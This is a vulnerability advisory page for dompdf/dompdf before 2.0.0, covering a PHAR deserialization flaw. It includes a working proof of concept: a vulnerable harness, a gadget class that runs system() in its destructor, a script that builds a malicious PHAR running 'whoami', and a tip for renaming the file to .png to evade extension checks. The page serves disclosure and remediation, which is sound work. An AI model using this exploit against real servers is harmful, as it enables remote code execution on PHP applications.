Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Deserialization of Untrusted Data vulnerabilities in an interactive lesson.
Start learningUpgrade dompdf/dompdf
to version 2.0.0 or higher.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data through the file_get_contents
function. An attacker can execute arbitrary code by uploading a file with a malicious phar://
protocol, leading to the deserialization and instantiation of arbitrary PHP objects.
Note:
This can lead to remote code execution, especially when DOMPdf is used with frameworks with documented POP chains like Laravel or vulnerable developer code.
Setup the following code in /var/www/html
: vuln.php
represents the use of DOMPdf functions and phar-poc.php
represents code with a vulnerable POP chain.
// vuln.php <?php // Include autoloader require_once 'dompdf/autoload.inc.php';
// Include vulnerable objects include("phar-poc.php");
// Reference the Dompdf namespace use Dompdf\Dompdf; use Dompdf\Options;
$options = new Options(); $options->set('isRemoteEnabled', true); $dompdf = new Dompdf($options);
// Load HTML content $dompdf->loadHtml('<img src="phar://test.phar">'); // (Optional) Setup the paper size and orientation $dompdf->setPaper('A4', 'landscape');
// Render the HTML as PDF $dompdf->render();
// Output the generated PDF to Browser //$dompdf->stream();
?>
// phar-poc.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
The PHAR payload is generated using the following exploit script:
<?php
class AnyClass { public $data = null; public function __construct($data) { $this->data = $data; }
function __destruct() { system($this->data); }
}
// create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data $object = new AnyClass('whoami'); $phar->setMetadata($object); $phar->stopBuffering();
Generate with:
php --define phar.readonly=0 create_phar.php
and execute vuln.php
with php vuln.php
, noticing whoami
being executed
Note that after generating the PHAR exploit code, an attacker can rename it to whatever extension or filename they want, it is possible to rename it test.phar
to test.png
to bypass any file extension check by the developer and specify phar://test.png
in the src attribute.
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.